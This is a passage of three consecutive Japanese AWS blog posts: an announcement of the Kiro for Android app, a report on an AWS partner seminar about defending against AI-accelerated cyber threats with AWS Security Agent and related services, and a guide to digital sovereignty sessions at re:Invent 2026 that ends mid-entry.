本記事は 2026 年 11 月 12 日に Kiro ブログで公開された「 Introducing Kiro for Android 」を翻訳したものです。 Kiro for Android を Google Play で提供開始しました。 エンジニアリングの作業を進めるために、ノート PC の前に戻る必要はありません。外出中にアイデアがひらめくこともあれば、通勤中にセッションが変更を終えることも、進行中の作業があなたの入力を待って止まっていることもあります。Android のユーザーは、スマートフォンから新しい作業を始め、すでに動いているクラウドの作業を引き継ぎ、そのまま進められるようになりました。 図 1: Kiro for Android の新しいセッションの画面 どこにいても作業を進められる クラウドセッション を使うと、同じ作業を Kiro CLI、Web、IDE、Android のどこからでも扱えます。会話とセッションの履歴がそろった状態で Android からクラウドセッションを開くことも、Android で始めて、あとで別の場所から再開することもできます。 Kiro の設定を同期 していれば、その設定もクラウドセッションで使えます。 使うクライアントを切り替えても、スマートフォンをしまっても、セッションはクラウドのサンドボックスで動き続けます。Android では、まだ動いているセッション、終わったセッション、あなたの対応が必要なセッションを確認できます。 アイデアがひらめいたときに始める すぐに始めたほうがよいアイデアもあります。移動中に機能を思いついたとき、本番環境のバグに気づいたとき、デスクに戻る前に始められる調査があると気づいたときなどです。 Android から新しいセッションを始め、必要なリポジトリを接続し、何を作りたいか、何を直したいか、何を調べたいかを Kiro に伝えます。見せたほうが早いときは、スクリーンショットを添付できます。あなたがほかの用事に移っている間も、Kiro はコードを調べ、ツールを使い、変更を加え、テストを実行し、クラウドで作業を続けられます。 あなたの判断が必要になったら 先に進む前に判断が必要なセッションもあります。ブランチの選択、実装の細部の確認、予想外のことが見つかったあとの方針転換などを、Kiro があなたに求めることがあります。Android でセッションを開き、質問に答えるか補足を伝えれば、Kiro はそこから作業を続けます。作業を止めないためだけに、ノート PC の前にいる必要はありません。 スマートフォンでレビューして仕上げる 変更の準備ができたら、スマートフォンで差分を直接開けます。ファイルの変更はモバイル向けのカードで表示されるので、小さな画面でデスクトップ向けのレイアウトを操作しなくても、ファイルごとに実装をレビューできます。 直すところがあれば、Kiro にもう一度作業を頼みます。変更に問題がなければ、Kiro がプルリクエストを作成でき、PR の状態はセッションと一緒に表示されます。 図 2: 2 つのリポジトリのプルリクエストとテスト結果を表示したセッション 使い始める Kiro for Android は Kiro の有料プランで利用できます。 Google Play から Kiro for Android をダウンロードし、Kiro CLI、Web、IDE で使っているのと同じアカウントでサインインしてください。クラウドセッション、接続したリポジトリ、モデルの選択、同期した設定は自動的に引き継がれます。IAM Identity Center を使っている企業では、ユーザーが Kiro for Android を使う前に、管理者が クラウドセッション を有効にする必要があります。クラウドセッションは現在 us-east-1（バージニア北部）で利用できます。 Kiro for iOS は引き続きプレビュー中です。 早期アクセスをリクエスト していただければ、利用できるようになった時点でお知らせします。 スマートフォンで始めれば、戻ったときには PR ができています。 原文の著者 Kyle Seaman（Product Lead）、Alex Jia（Product Marketing） 翻訳者について 稲田 大陸 – いなりく AWS Japan で働く Kiro をこよなく愛すソリューションアーキテクト。普段は製造業のお客様を支援しています。その活動の傍ら、最近は AI 駆動開発ライフサイクル (AI-DLC) の日本のお客様への布教活動もしつつ、 Kiro のブログ などを執筆しています。

こんにちは。アマゾン ウェブ サービス ジャパン合同会社 パートナーソリューションアーキテクトの深井宣之です。 2026 年 7 月 30 日に AWS 公共パートナーネットワーク（PSN）セミナーとして「Claude Mythos 時代の AWS セキュリティ対策 ～ AWS Security Agent ご紹介 ～」と題した ウェビナー を開催しました。本ブログでは開催内容について まとめたものになります。 本セミナーでは、アマゾン ウェブ サービス ジャパン合同会社 パブリックセクター技術統括本部 パートナーソリューションアーキテクトの市崎洋平が、昨今のサイバーセキュリティ脅威の変化とそれに対応する AWS のセキュリティサービス群、特に新たに一般提供が開始された AWS Security Agent について解説しました。 AWS が観測している脅威傾向（Claude Mythos 前夜） 脆弱性公表からエクスプロイトまでの時間は短縮 Zero Day Clock のデータによると、 CVE （脆弱性）が公開されてからエクスプロイト（悪用）が実行されるまでの平均時間は年々短縮しています。2021 年時点では平均 1 年かかっていたものが、2026 年には 1 日以内にまで短縮されており、今後さらに 1 時間以内に達すると予測されています。 AI がサイバー攻撃の参入障壁を破壊 昨今の急速な AI 技術の発展により、高度な技術を持たない攻撃者でも、生成 AI を活用すれば大規模なサイバー攻撃を実行できる時代になりつつあると考えられます。AI はカスタム攻撃ツールの自動生成、段階的な侵入手順の策定、そして多数のデバイスを少人数で同時攻撃するような大規模な自動化などを可能にします。加えて、これらの攻撃の特徴として、高度な脆弱性だけではなく、公開管理ポートや弱いパスワード、単一要素認証といった基本的なセキュリティの不備も狙われている点が挙げられます。 攻撃の「質的変化」― 3 つの変質 さらに AWS アーキテクティングの観点として、「システムが侵害されることを前提にしたアーキテクチャ」「基本的なセキュリティ対策の確実な実施」「AI を活用した先進の対策」の 3 つの方向性を説明しました。 国家支援型の高度化 AI による攻撃の大衆化 サプライチェーンの武器化 AWS のスケールを活用した脅威インテリジェンスと防御 AWS は、世界中で大規模に脅威インテリジェンスの収集を実施しています。また日々それらの膨大なデータを分析し、攻撃がお客様のご利用に影響しないよう対応しています。加えてAWS 自身も AI を活用し、脆弱性への対応をより加速させ、お客様により安心してご利用いただけるようにセキュリティ対策を実施しています。 Anthropic Mythos / Project Glasswing と AWS の対応 Claude Mythos と Project Glasswing Anthropic が立ち上げた「 Project Glasswing 」についても解説しました。Project Glasswing は、Claude Mythos Preview と共に発表されたプロジェクトです。Project Glasswing は、 Claude Mythos が潜在的に持つサイバー攻撃能力を安全に評価・管理するための取り組みであり、ソフトウェア脆弱性の発見効率が飛躍的に向上することが確認されました。 2026 年 6 月 2 日時点の成果として、Project Glasswing により約 5,000 件の脆弱性が早期発見され、うち約 30% がクリティカル〜高リスクに分類されました。日本政府からも金融庁・日銀が金融機関等へ対応を要請するなど、社会的な影響も大きいものとなっています。 AWS の Project Glasswing への取り組み AWS は、この Project Glasswing のローンチパートナーとして当初から参画しており、AWS 自身も対策を加速度的に進めております。 またこの活動の前より、AWS インフラストラクチャはゼロダウンタイムで迅速にパッチを適用する仕組みを持っており、セキュリティ対策の迅速化も進めております。例えば 2021年の Log4Shell 対応の事例では、動作中の JVM に対してライブパッチを適用し、サービスの再起動なしに JVM の脆弱性を修正した実績があります。この仕組みはオープンソースとして公開もしております。 今後の予想される脅威 予想される 2 つの脅威 今後予想される脅威について以下のように 2 つの脅威、「管理された脅威」と「未知の脅威」に大別し、それぞれにおける対応方針を解説しました。 管理された脅威 : Project Glasswing の成果として大量の CVE が公開されることが想定される。パッチ適用のオペレーション負荷が増大し、迅速な脆弱性対応が求められる 未知の脅威 : フロンティア AI のサイバー能力競争が加速しており、AI が自律的に未知の脆弱性を発見・悪用する可能性がある AWS が提案する対応策 AWS セキュリティの全体像 AWS 上のシステムに対しての外部脅威対策例の全体像を紹介し、AWS の豊富なセキュリティ関連サービス（AWS Shield、AWS WAF、Amazon GuardDuty、AWS Firewall Manager）等のご活用が有用であることを説明しました。加えて、AWS の責任共有モデルに基づきマネージドサービスを活用することで、セキュリティ対策の負荷軽減につながる対策もご紹介しました。例えば AWS Lambda や Amazon ECS / Amazon EKS on AWS Fargate 、 Amazon Aurora Serverless 、 Amazon DynamoDB などのマネージドサービスを活用することで、OS やミドルウェアレベルのセキュリティ対策を AWS に移譲することができ、お客様はセキュリティ対策の負荷を軽減することが可能です。 Mythos 時代のサイバーセキュリティ対策 AWS アーキテクティングの観点として、「システムが侵害されることを前提にしたアーキテクチャ」「基本的なセキュリティ対策の確実な実施」「AI を活用した先進の対策」の 3 つの方針が示されました。 短期的な取り組みと中長期的な取り組みに分けて整理すると以下のとおりです 管理された脅威への対策: 短期 : 迅速な脆弱性検出（ Amazon Inspector ）、WAF の活用による多層防御（ AWS WAF ）、パッチ適用の日常業務化 中長期 : マネージドな AWS サービスを活用したモダナイゼーションにより、OS やミドルウェアレベルのパッチ責任を AWS へ移譲。検知と対応能力の強化 未知の脅威への対策: 短期 : AI を活用した脆弱性スキャンとレビュー、パッチ適用の日常業務化 中長期 : 多層防御の徹底による攻撃影響の最小化、検知と対応能力の強化 Amazon Inspector : 脆弱性管理ソリューション Amazon Inspector は脅威検出からリスクベースの優先順位付けまでを自動化するサービスです。エージェント不要でニアリアルタイムの脆弱性管理を実現し、新しい CVE が公開されると最新構成情報とマッチングして継続的に評価を行います。CVSS × ネットワーク到達性 × 悪用可能性を相関させ、本当に危険なものから優先的に対処できるよう支援します。 AWS WAF : フルマネージドで提供する WAF AWS WAF は AWS の脅威インテリジェンスに基づいたウェブアプリケーションファイアウォールです。 Amazon CloudFront 、 Application Load Balancer 、 Amazon API Gateway 、 AWS AppSync などの AWS サービスと連携し、お客様のウェブアプリケーションを広範囲なウェブの脅威から保護します。 Amazon Bedrock : セキュアな AI インフラストラクチャ Amazon Bedrock はセキュアでコンプライアンスに準拠した AI インフラストラクチャです。 OpenAI と Anthropic の最新 LLM も利用可能であり、次世代 Bedrock ではゼロオペレータアクセスを実現しています。お客様のデータは基盤モデルプロバイダーと共有されず、転送中のデータは常に最低 TLS 1.2 で暗号化されます。 AWS Security Agent のご紹介 AWS Security Agent とは AWS Security Agent は、コンテキスト認識型のソースコードセキュリティレビューと自律型ペネトレーションテストを提供するサービスです。SAST + DAST + SCA + 自律型ペネトレーションテストを単一のソリューションに統合しています。 設計ドキュメント、API、IaC、脅威モデル、ユーザーストーリー、エンドポイントを取り込み、攻撃をカスタマイズします。脆弱性を連鎖させて証明可能かつ再現可能な攻撃に変換し、誤検出とアラート疲れを低減します。 Security Agent の 4 つの機能 AWS Security Agent は以下の 4 つの機能を提供しており、各機能は独立して利用できます。 脅威モデル : 設計ドキュメントやソースコードを元にした脅威モデルの自動生成 デザインレビュー : アーキテクチャ設計に対するセキュリティレビュー コードレビュー （プレビュー提供中）: 対応するコードリポジトリとプルリクエストを評価し、セキュリティ脆弱性や組織のカスタムセキュリティ要件への準拠を自動的に確認・修正を提案 ペネトレーションテスト （一般提供開始）: オンデマンドで包括的なペネトレーションテストを実行し、セキュリティ脆弱性を自動的に発見・検証して修正を提案 あらゆる環境で機能 AWS Security Agent は AWS 上の任意のリージョン・エンドポイント（パブリックまたはプライベート）のほか、ハイブリッド（AWS + オンプレミス）、マルチクラウド（Google Cloud、Microsoft Azure、Oracle Cloud など）、SaaS のエンドポイントにも対応しています。 ペネトレーションテスト機能の詳細 一般提供が開始されたペネトレーションテスト機能では、明確な再現手順と検証コードの提供、AWS セキュリティベストプラクティスを活用した推奨コード修正の生成、PDF レポートのエクスポートが可能です。 料金 はタスク時間あたり $50 の従量課金制（秒単位で計測）であり、初期費用や最低料金はありません。アジアパシフィック（東京）を含む複数リージョンで利用可能です。 AWS パートナーにおける Security Agent の活用 AWS パートナー様におかれましては、システムインテグレーションサービスでの活用だけでなく、自社サービスのセキュリティテストや顧客向けセキュリティ診断サービスの高度化、マネージドセキュリティサービスへの組み込みなど、さまざまな形での活用の可能性について説明しました。 AWS が提供するセキュリティ関連プログラム Security Health Improvement Program（SHIP） SHIP は 10 のセキュリティユースケースにわたるデータ駆動型のインサイトを通じて、潜在的なサービス採用のギャップを特定し、ベストプラクティスに関する規範的ガイダンスを提供する無償の AWS プログラムです。2 時間のエンゲージメント（45 分のディスカバリー + 60 分の実施）で実行可能です。 AWS セキュリティ成熟度モデル AWS セキュリティ成熟度モデル は、組織の成熟度に合わせてセキュリティ対策の優先順位付けを行い、実践的なガイダンスを提供するフレームワークです。「クイックウィン」「基礎」「効率化」「最適化」の 4 つのフェーズで構成され、世界中で 50,000 以上のお客様が実施しています。 おわりに 本セミナーでは、Claude Mythos 時代におけるサイバーセキュリティの脅威の変化と、それに対応する AWS のセキュリティサービス群について解説しました。脆弱性公表からエクスプロイトまでの時間が劇的に短縮し、AI を活用した攻撃が大衆化する中で、AWS は大規模な脅威インテリジェンスと AI を活用した防御の仕組みを提供しています。 従前からご提供しております幅広い AWS のセキュリティ関連サービスのご活用は引き続き有効であることに加え、新たに一般提供が開始された AWS Security Agent は多くの機能を統合したセキュリティ対策ソリューションですので、これらがお客様やパートナー様におけるセキュリティ対策の進化にお役に立てば幸いでございます。 AWS では、本セミナーのようなパートナー向けのセキュリティ情報提供を継続的に実施してまいります。ご興味のある方は、ぜひ次回の PSN セミナーにもご参加ください。 このブログは、アマゾン ウェブ サービス ジャパン合同会社 パートナーソリューションアーキテクト 深井宣之, 市崎洋平が執筆しました。

本ブログは 2026 年 11 月 10 日に公開された AWS Blog “ Digital sovereignty at re:Invent 2026: Sessions you won’t want to miss ” を翻訳したものです。 AWS re:Invent が、クラウドと AI の最大規模のイベントとして、2026 年 11 月 30 日～12 月 4 日に今年もラスベガスで開催されます。今年は 2,200 件以上のセッションが用意されており、その 70% がインタラクティブな形式です。セッションは Amazon Web Services (AWS) 、お客様、パートナーのエキスパートが担当します。 数多くのセッションの中から、 Digital Sovereignty at AWS に関連するセッションをまとめました。変化し続けるデータレジデンシー要件への対応、最も機密性の高いワークロードに最適な配置先の選択、データを法域外に持ち出せない環境で AI をスケールすることなど、どのような課題に取り組んでいる方にも役立つセッションが re:Invent にはあります。 このガイドでは、デジタル主権に関するさまざまなトピックを扱うブレイクアウトセッション、チョークトーク、ワークショップ、ライトニングトークをテーマ別にまとめているため、関心のある内容をすぐに見つけられます。座席は参加者ポータルから予約できるほか、空きがあれば予約なしで当日参加することもできます。複数回開催されるセッションもあるため、満席の場合はカタログで別の開催時間を確認してください。 ヒント: セッションは複数の会場で開催されるため、移動時間には余裕を持たせてください。時刻はすべて 太平洋時間 です。 テーマ 1: AWS European Sovereign Cloud によるコントロール、選択肢、運用上の自律性 AWS は 2026 年に AWS European Sovereign Cloud の提供を開始し、最も厳格なデジタル主権要件を満たすのに役立つ新たな選択肢をお客様に提供しました。AWS European Sovereign Cloud は、その設計上、 EU 域外のインフラストラクチャへの重要な依存関係を持たずに 運用されており、強力な技術的コントロール、主権に関する保証、法的保護に支えられています。これらのセッションでは、検証可能なコントロール、運用上の自律性、AWS European Sovereign Cloud などのインフラストラクチャオプションによる幅広い選択肢を含め、デジタル主権に対する AWS のアプローチの全体像を把握できます。 SEC206 | ブレイクアウトセッション | Digital sovereignty: Verifiable controls and greater choice (デジタル主権: 検証可能なコントロールと幅広い選択肢) スピーカー: Mustafa Isik (AWS、Chief Technologist Sovereignty)、Stephane Israel (AWS、Managing Director European Sovereign Cloud and Digital Sovereignty) 日時と会場: 12 月 3 日 (木) 13:00 | Wynn/Encore 規制の変化や地政学的な情勢の変化を受けて、多くの組織が、イノベーションや AI の導入を遅らせることなく、クラウドでデータを保護し、コントロールを維持する方法を見直しています。このセッションでは、検証可能かつ監査可能なコントロールに裏付けられた、AWS European Sovereign Cloud をはじめとするさまざまなオファリングを通じて、お客様がクラウドの能力を最大限に活用しながらデジタル主権要件を満たせるよう AWS がどのように支援しているかを紹介します。AI 主権が実際に何を意味するのかを学び、よくある質問への回答を得られるほか、急速に変化する状況の中で AWS とパートナーが組織の複雑な課題への対応をどのように支援しているかをお聞きいただけます。 SEC234 | ライトニングトーク | EU operational autonomy in action: AWS European Sovereign Cloud (EU の運用上の自律性の実践: AWS European Sovereign Cloud) スピーカー: Zoltan Albrecht (AWS、Director, AWS European Sovereign Cloud Managed Operations) 日時と会場: 12 月 3 日 (木) 8:30 | Wynn/Encore AWS European Sovereign Cloud は、EU 域内の完全に分離されたインフラストラクチャ上に構築され、EU 在住のスタッフのみが運用しており、欧州域外からはアクセスできません。このライトニングトークでは、AWS European Sovereign Cloud Managed Operations チームが、独立した運用とは実際にどのようなものか、日々どのように機能しているかを解説します。 テーマ 2: デジタル主権とデータレジデンシーの要件下における AI AI の活用をパイロット段階から本番環境へ移行するには、デジタル主権のニーズを満たすために、データをどこに配置し、AI ワークロードをどこで実行するかを明確に決める必要があります。これらのセッションでは、AI インフラストラクチャをデータのある場所に持ち込む方法を紹介します。お客様のデータセンター内でフルマネージドで運用される AWS AI Factories から、ワークロードごとに適したハイブリッドデプロイ、さらに AWS Outposts や AWS Local Zones といったハイブリッド環境やエッジ環境に拡張されるエージェンティック AI アプリケーションまで、幅広く取り上げます。 AIM206 | ブレイクアウトセッション | AWS AI Factories: Bring production scale AI to your data center (AWS AI Factories: 本番規模の AI をお客様のデータセンターに) スピーカー: Pranav Chachra (AWS、Senior Manager, Product Management)、Gareth Tucker (AWS、Global Specialist – AWS AI Factories)、Daniel Xu 氏 (Anthropic、Member of Technical Staff) 日時と会場: 12 月 3 日 (木) 10:30 | Venetian データ主権、データグラビティ、レイテンシーの要件により、多くの組織はすべての AI ワークロードをパブリッククラウドで実行できずにいます。AWS AI Factories は、AWS と NVIDIA の AI インフラストラクチャをお客様のデータセンターに直接導入し、その運用、保守、継続的な更新をすべて AWS が担います。AI インフラストラクチャを自社で構築・管理したり、モデルプロバイダーと個別に契約を交渉したりすることなく、主要な基盤モデルをオンプレミスで実行し、トレーニングや推論を行えます。このセッションでは、組織が自社施設内でも AWS と同様の利用体験を得ながら、AI の導入を加速し、価値実現までの時間を短縮し、データを完全にコントロールし続ける方法を学べます。 HMC303 | ブレイクアウトセッション | Choosing the right hybrid deployment for your AI workloads (AI ワークロードに適したハイブリッドデプロイの選び方) スピーカー: Shivam Saggar (AWS、Sr. Product Manager (Tech))、Chris McEvilly (AWS、Senior Solutions Architect)、Shelby Seward 氏 (T-Mobile、DMTS, Sr. Director)、Hai Lu 氏 (Databricks, Inc.、Senior Engineering Manager) 日時と会場: 11 月 30 日 (月) 9:00 | MGM Grand 組織は、モデルトレーニング、ファインチューニング、強化学習、推論のための AI ワークロードを、AWS リージョン、AWS Local Zones、AWS Outposts、AWS 専有ローカルゾーン、AWS AI Factories など、広がり続けるさまざまな環境で実行しています。どのデプロイオプションが適切かは、レイテンシー、データ主権、コンピューティング密度、規模によって異なります。このセッションでは、Local Zones 上の NVIDIA GPU ベースおよび AWS Trainium 搭載のインスタンス、大規模なトレーニングとモデルサービングに特化した AWS AI Factories、リアルタイム推論のためのエッジデプロイなど、ハイブリッドのあらゆる選択肢でアクセラレーターを活用した AI をお客様がどのようにデプロイしているかを紹介します。AWS Local Zones で GPU キャパシティを活用する Databricks や、レイテンシーの影響を受けやすい分散推論を実行する T-Mobile など、お客様がこうした判断をどのように下しているかをお聞きいただき、パフォーマンスとコンプライアンスを損なうことなく、各 AI ワークロードに適した環境を見極める方法を学べます。 HMC402 | ワークショップ | Implementing agentic AI solutions on-premises and at the edge (オンプレミスとエッジでのエージェンティック AI ソリューションの実装) スピーカー: Kyle Palasti (AWS、Edge Specialist Solutions Architect, National Security)、Fernando Galves (AWS、Senior Applied AI Architect) 日時と会場: 12 月 2 日 (水) 15:30 | Wynn/Encore 再演: 12 月 3 日 (木) 15:00 | Caesars Palace Amazon Bedrock AgentCore をハイブリッドサービスやエッジサービスに拡張し、Model Context Protocol (MCP) とエージェント間 (A2A) 通信を使用して、オンプレミスのデータと連携する分散型のエージェンティックアプリケーションを構築する方法を学びます。データレジデンシー要件の遵守に役立つ AWS のハイブリッドおよびエッジソリューションを確認しながら、Amazon Bedrock と Strands Agents を使用したハイブリッドなエージェンティック AI をハンズオンで体験できます。 HMC403 | ワークショップ | Self-managed agentic AI at the hybrid edge (ハイブリッドエッジにおけるセルフマネージド型エージェンティック AI) スピーカー: Fernando Galves (AWS、Senior Applied AI Architect)、Chris McEvilly (AWS、Senior Solutions Architect) 日時と会場: 12 月 1 日 (火) 12:30 | MGM Grand 再演: 12 月 3 日 (木) 8:30 | MGM Grand エージェンティック AI を使用して複雑なインフラストラクチャ運用を自動化する組織の多くには、データの近くで AI を実行しなければ満たせないデータレジデンシー、低レイテンシー、セキュリティの要件があります。このワークショップでは、お客様がハイブリッドエッジでセルフマネージドのエージェンティック AI をデプロイし、これらの要件を満たしながら自律的な運用を実現する方法を紹介します。ローカルで実行される AI エージェントを設計、プロビジョニング、設定、最適化する方法と、同じアーキテクチャを AWS Local Zones や AWS Outposts などの AWS のハイブリッドおよびエッジインフラストラクチャに拡張する方法を学びます。 テーマ 3: より多くのコントロールと選択肢: デジタル主権のニーズに適したインフラストラクチャを見つける デジタル主権の要件はさまざまであり、AWS は幅広いデプロイオプションを通じてコントロールと選択肢を提供しています。 AWS 専有ローカルゾーン 、AWS Outposts、AWS European Sovereign Cloud、 AWS リージョン を比較検討している場合でも、移行を計画している場合でも、独自のデジタル主権のニーズを満たすインフラストラクチャオプションが見つかります。これらのセッションを通じて理解を深め、自信を持って選択してください。 HMC314 | チョークトーク | Architecting for digital sovereignty with AWS Hybrid Cloud solutions (AWS のハイブリッドクラウドソリューションによるデジタル主権に対応したアーキテクチャ設計) スピーカー: Sherry Lin (AWS、Principal Product Manager)、Lakshmi VP (AWS、Solutions Architect – WWPS) 日時と会場: 12 月 2 日 (水) 8:30 | MGM Grand このセッションでは、実際のケーススタディを通じて、AWS Local Zones、AWS 専有ローカルゾーン、AWS Outposts などの AWS のハイブリッドクラウドアーキテクチャが、お客様のデジタル主権のニーズを満たすうえでどのように役立つかを解説します。まず、ハイブリッドクラウドソリューションで利用できるデータレジデンシーの境界、ネットワークの分離、運用上のコントロール、セキュリティガードレールのオプションを検討します。次に、お客様が規制要件に準拠できるよう、Service Control Policies (SCP) を含むガバナンスコントロールを設定する方法を紹介します。最後に、ハイブリッドインフラストラクチャと親リージョンの間で発生する不正なデータフローを検出して防止する方法を取り上げます。 HMC202 | ブレイクアウトセッション | AWS wherever you need it: From the cloud to the edge (必要なあらゆる場所で AWS を: クラウドからエッジまで) スピーカー: Spencer Dillard (AWS、Director, Software Dev, EC2)、Ian Cottingham (AWS、Director, Software Development)、Rama Raghavan 氏 (AT&T Inc.、AVP Cloud Architecture) 日時と会場: 12 月 2 日 (水) 15:00 | Caesars Palace ほとんどのワークロードはクラウドで実行できますが、低レイテンシー、ローカルでのデータ処理、データレジデンシーの要件により、オンプレミスやエッジに残す必要があるワークロードもあります。AWS Local Zones、AWS Outposts、AWS 専有ローカルゾーン、AWS AI Factories は、AWS のサービス、API、ツールを大都市圏、オンプレミスのデータセンター、ファーエッジにまで拡張します。このセッションでは、これらのインフラストラクチャオファリングが、金融取引、製造、AI など、ハイブリッドクラウドとエッジコンピューティングの幅広いユースケースをどのように支えているかを紹介します。エッジ要件のある規制対象ワークロードの実行、エッジデータを活用した生成 AI の実現、オンプレミスへの依存関係があるワークロードの移行を AWS がどのように支援しているかを、AT&T における大規模な移行とモダナイゼーションの事例と共に学べます。 HMC304 | ブレイクアウトセッション | Real-world migrations: Lessons learned migrating to AWS Outposts (実際の移行事例: AWS Outposts への移行から得た教訓) スピーカー: Frankie Negro (AWS、Senior Hybrid Edge Solutions Architect)、Scott Rose (AWS、Senior Manager Solution Architecture – Telco)、Marcelo Andrade 氏 (SERPRO、Cloud Engineer) 日時と会場: 11 月 30 日 (月) 10:00 | MGM Grand データレジデンシーとデジタル主権の要件を持つ組織は、重要な問いに直面します。コンプライアンス態勢や運用に支障をきたすことなく、ワークロードをオンプレミスのインフラストラクチャから AWS Outposts に移行するにはどうすればよいでしょうか？このレベル 300 のセッションでは、ブラジルの連邦データ処理企業である SERPRO と、通信ワークロードを大規模に移行している AT&T の事例を交えながら、さまざまな業界、組織規模、移行戦略にわたってお客様の Outposts への移行を支援してきた経験から得られた教訓を紹介します。結果につながったプロセス、測定された定量的な成果、避けるべき重大な失敗を順に説明します。適切な移行アプローチを選択する方法と、よくある障壁を乗り越える方法も学べます。また、第 1 世代から第 2 世代の Outposts ハードウェアへの移行についても取り上げます。 テーマ 4: ディザスタリカバリ、レジリエンス、パーティション間接続 デジタル主権は、データをどこに保存するかだけの問題ではありません。ワークロードをどのように運用し、復旧し、接続するかにもかかわります。これらのセッションでは、規制要件下での障害からの復旧、データレジデンシーと両立するレジリエンスの設計、グローバルな AWS リージョン、 AWS GovCloud (US) 、AWS European Sovereign Cloud、中国リージョンをまたぐ接続戦略など、デジタル主権の運用面について学べます。 ARC405 | ブレイクアウトセッション | Your regulator set your RTO. Not your architecture. (RTO を決めるのはアーキテクチャではなく規制当局) スピーカー: Hossam Ebrahim (AWS、Solutions Architect)、Paul Armstrong (AWS、Lead Architect UKI) 日時と会場: 12 月 1 日 (火) 16:00 | Wynn/Encore フェイルオーバー先のリージョンを事前に承認している組織は数時間で復旧できますが、承認していない組織は復旧に数週間かかります。障害の内容も、利用しているサービスも同じです。両者の違いを生むのはたった 1 つのガバナンス上の決定であり、その決定は障害が起きる何年も前に下されています。このセッションでは、リージョンが影響を受けた状況における規制対象ワークロードの実際の運用経験に基づき、主権に関する制約下でのマルチリージョン復旧のアーキテクチャパターンを紹介します。取り上げるのは、障害の発生前にレジリエンスの上限を決めてしまう意思決定、復旧中に循環的な障害を引き起こす依存関係、そしてクリティカルパスになるまで誰もバックアップしない資産の 3 つのカテゴリです。次回の DR テストまでに評価すべき意思決定事項を把握できます。 ARC318 | チョークトーク | Architecting for resilience and data residency (レジリエンスとデータレジデンシーに対応したアーキテクチャ設計) スピーカー: Andy Orlosky (AWS、AWS Solutions Architect)、Mike Haken (AWS、Senior Principal Solutions Architect)、Jamie Pasterick (AWS、Senior Solutions Architect) 日時と会場: 11 月 30 日 (月) 14:30 | Wynn/Encore 再演: 12 月 2 日 (水) 13:30 | Wynn/Encore データを法域外に持ち出すことはできませんが、リージョンの機能が低下してもワークロードは稼働し続けなければなりません。このチョークトークでは、レジリエンスとデータレジデンシーの両方に同時に対応するアーキテクチャパターンを探ります。課題を実践的なレイヤーに分解し、データをどこに置くか、ワークロードをどのように復旧するか、分離をどのように実現するか、地理的な境界をまたいでビジネス継続性をどのように維持するかを検討します。各レイヤーを専有ローカルゾーン、Outposts、ポリシーコントロールなどの AWS の機能に対応付けたうえで、実際のシナリオに一緒に取り組みます。アーキテクチャの課題をお持ちいただければ、ホワイトボードを使って、設計パターンとトレードオフを一緒に検討します。 NET327 | ブレイクアウトセッション | Connectivity strategies across AWS Partitions (AWS パーティション間の接続戦略) スピーカー: Kunal Sharma (AWS、Sr. Solutions Architect)、Rohit Aswani (AWS、Principal Solutions Architect – Networking Specialist) 日時と会場: 12 月 2 日 (水) 16:00 | MGM Grand 規制、データレジデンシー、国家安全保障の要件を満たすため、AWS の商用リージョン、AWS GovCloud (US)、AWS European Sovereign Cloud、中国リージョンにまたがって運用する組織が増えています。しかし、これらを接続しようとすると、標準的なマルチリージョン設計をはるかに超えるネットワークの課題が生じます。このセッションでは、AWS Site-to-Site VPN、AWS Direct Connect、アプリケーションレイヤーのプロキシを使用したパーティション間接続のパターンを、DNS 解決戦略、コンプライアンス境界の適用、運用上のトレードオフと併せて学びます。パーティションが本来担保すべき分離を維持しながら、パーティションどうしを安全に接続するアーキテクチャのブループリントを順に説明するほか、ITAR、GDPR、各国の主権に関する義務に大規模に対応しているお客様から得た教訓を共有します。 テーマ 5: 業界別のデジタル主権 デジタル主権の優先事項は業界によって異なり、それぞれの規制、リスク、要件によって形作られます。政府、エネルギー、通信の各業界の組織が、AWS のコントロール、選択肢、規模を活用して独自のニーズをどのように満たしているかを紹介します。 IND361 | ワークショップ | Build hybrid data planes for government GenAI pipelines (政府機関の生成 AI パイプライン向けハイブリッドデータプレーンの構築) スピーカー: Mohamed Salah (AWS、Sr. Solutions Architect)、Usama Salama (AWS、Sr. Specialist SA AI/ML) 日時と会場: 11 月 30 日 (月) 15:30 | Wynn/Encore 厳格な国家安全保障上の義務により、政府機関はクラウドの生成 AI を導入できずにいます。この課題を解決するため、アーキテクトはエッジとクラウドを疎結合にしたトークン化パターンを採用します。このワークショップでは、AWS Cloud Development Kit (AWS CDK) を使用して、シミュレートされたエッジ環境で機密性の高い市民データを分離する 3 フェーズのデータプレーンを構築します。ローカルでデータをトークン化する仕組みをデプロイし、マスクしたペイロードを Amazon Bedrock にルーティングしてステートレスな推論を実行したうえで、オンプレミスで状態の整合性を確保します。最先端の AI を活用しながら連邦政府のデータローカライゼーション義務を満たすための、インフラストラクチャをコードで定義したブループリントを持ち帰ることができます。 IND359 | チョークトーク | In-Country HPC: How TGS Processes Seismic Data on AWS Brazil (国内での HPC: TGS がブラジルの AWS で地震探査データを処理する方法) スピーカー: Kun Jiao (AWS、Principal Solutions Architect)、Faisal Asif 氏 (TGS、Global Head, Cloud Transformation and Innovation) 日時と会場: 11 月 30 日 (月) 9:00 | Wynn/Encore 再演: 12 月 1 日 (火) 12:00 | Wynn/Encore 世界最大級のマルチクライアント地球科学データプロバイダーである TGS は、ビジネスクリティカルな Rackmon EFWI GPU ワークロードを大規模に実行するうえで、大きなコストの課題を抱えていました。そこで TGS は、このワークロードをブラジルの AWS インフラストラクチャに戦略的にデプロイしてブラジルの ReData 特別税制を活用し、GPU を多用する地震探査データ処理の税負担を大幅に削減しました。その結果、エネルギー業界で最も計算負荷の高いワークロードの 1 つで大幅なコスト削減を実現するとともに、他の地域でデータレジデンシー要件を持つ将来の顧客にも対応できる、再利用可能な国内処理アーキテクチャを確立しました。 IND322 | チョークトーク | Physical AI in Telecom: A Framework for Workload Placement (通信業界のフィジカル AI: ワークロード配置のフレームワーク) スピーカー: Young Jung (AWS、Sr. Manager of Telco Network SA)、Angelo Sampietro (AWS、Principal Solutions Architect)、Umer Chaudhary (AWS、Sr. Mgr Network Solutions) 日時と会場: 12 月 1 日 (火) 13:30 | Caesars Forum 再演: 12 月 1 日 (火) 15:00 | Caesars Forum フィジカル AI ワークロードには、エッジのセルサイトで 1 ミリ秒未満のパフォーマンスを必要とするものもあれば、フル機能の AWS リージョンが適したものもあり、その中間に位置して AWS Local Zones や AWS Outposts が適したものも多くあります。このチョークトークでは、各ワークロードを適切なオプションに対応付けるためのフレームワークを紹介します。フィジカル AI 